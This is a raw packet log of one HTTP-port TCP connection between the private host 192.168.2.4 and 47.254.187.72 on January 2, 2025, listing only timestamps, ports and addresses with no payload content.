Jan 2, 2025 20:34:57.806374073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.806374073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.807110071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.807121038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.807130098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.807141066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.807152033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.807156086 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.807163000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.807188988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.807192087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.807202101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.807216883 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.807255030 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.807255030 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.807854891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.807868004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.807878017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.807888031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.807898045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.807908058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.807908058 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.807919025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.807940960 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.808051109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.824418068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.824430943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.824441910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.824515104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.824525118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.824529886 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.824529886 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.824536085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.824547052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.824558020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.824558973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.824568033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.824579000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.824593067 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.824609995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.824620962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.824634075 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.824634075 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.824645996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.824656010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.824660063 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.824660063 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.824671030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.824681044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.824692011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.824693918 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.824693918 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.824717999 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.824737072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.824747086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.824755907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.824763060 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.824767113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.824789047 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.824826002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.824836969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.824847937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.824851036 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.824857950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.824871063 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.824906111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.824906111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.825445890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.825458050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.825468063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.825478077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.825488091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.825493097 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.825493097 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.825503111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.825511932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.825522900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.825530052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.825530052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.827749014 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.831355095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.831367016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.831377029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.831409931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.831420898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.831435919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.831437111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.831445932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.831463099 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.831492901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.831492901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.834343910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.834355116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.834369898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.834441900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.834456921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.834465027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.834467888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.834477901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.834487915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.834500074 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.834507942 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.834742069 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.841134071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.841229916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.841238976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.841250896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.841259003 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.841265917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.841275930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.841284990 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.841285944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.841296911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.841306925 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.841347933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.843508005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.843518019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.843528032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.843580961 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.843580961 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.843585968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.843596935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.843606949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.843616962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.843626022 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.843626976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.843635082 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.843748093 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.848690033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.848707914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.848717928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.848731041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.848746061 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.848753929 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.848761082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.848772049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.848778963 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.848778963 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.848783970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.848793030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.848913908 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.859291077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.859302044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.859311104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.859327078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.859335899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.859345913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.859352112 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.859354973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.859370947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.859399080 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.859477997 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.863667965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.863677025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.863692999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.863703966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.863713980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.863719940 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.863724947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.863750935 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.863791943 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.863806963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.863817930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.864178896 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.881879091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.881932020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.881941080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.881957054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.881968975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.881978035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.881987095 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.881989956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.882006884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.882023096 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.882023096 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.882133961 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.890780926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.890790939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.890800953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.890816927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.890827894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.890836954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.890840054 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.890847921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.890860081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.890872955 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.890893936 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.890919924 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.893064976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.893081903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.893093109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.893105984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.893115997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.893126011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.893129110 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.893136978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.893146038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.893189907 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.893227100 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.893848896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.893865108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.893874884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.893884897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.893894911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.893903971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.893904924 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.893913031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.893920898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.893923044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.893944979 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.894012928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.894515991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.894593000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.894603014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.894613981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.894617081 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.894624949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.894634962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.894639969 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.894645929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.894668102 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.894675970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.894701004 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.895756006 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.911235094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.911287069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.911303997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.911331892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.911344051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.911355972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.911365986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.911375046 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.911376953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.911386967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.911442995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.911452055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.911468029 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.911469936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.911482096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.911492109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.911494970 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.911503077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.911513090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.911525965 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.911533117 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.911668062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.911679029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.911689043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.911694050 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.911700964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.911710978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.911712885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.911720991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.911732912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.911751032 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.912365913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.912375927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.912385941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.912388086 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.912396908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.912406921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.912409067 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.912416935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.912427902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.912440062 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.915755033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.918212891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.918221951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.918231964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.918242931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.918252945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.918262959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.918275118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.918284893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.918284893 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.918307066 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.919754982 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.921235085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.921246052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.921255112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.921288013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.921294928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.921298981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.921309948 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.921314001 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.921320915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.921330929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.921355963 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.923753023 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.927967072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.927978039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.927988052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.928016901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.928026915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.928050041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.928050995 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.928061008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.928071022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.928076029 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.928097010 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.928320885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.930254936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.930274963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.930331945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.930341959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.930357933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.930358887 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.930358887 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.930368900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.930380106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.930389881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.930401087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.930409908 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.930502892 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.935384035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.935405016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.935414076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.935430050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.935440063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.935456038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.935463905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.935465097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.935475111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.935501099 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.935501099 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.935523033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.935548067 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.935884953 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.946053982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.946077108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.946086884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.946139097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.946147919 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.946149111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.946152925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.946163893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.946171999 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.946176052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.946187019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.946230888 CET	49730	80	192.168.2.4	47.254.187.72
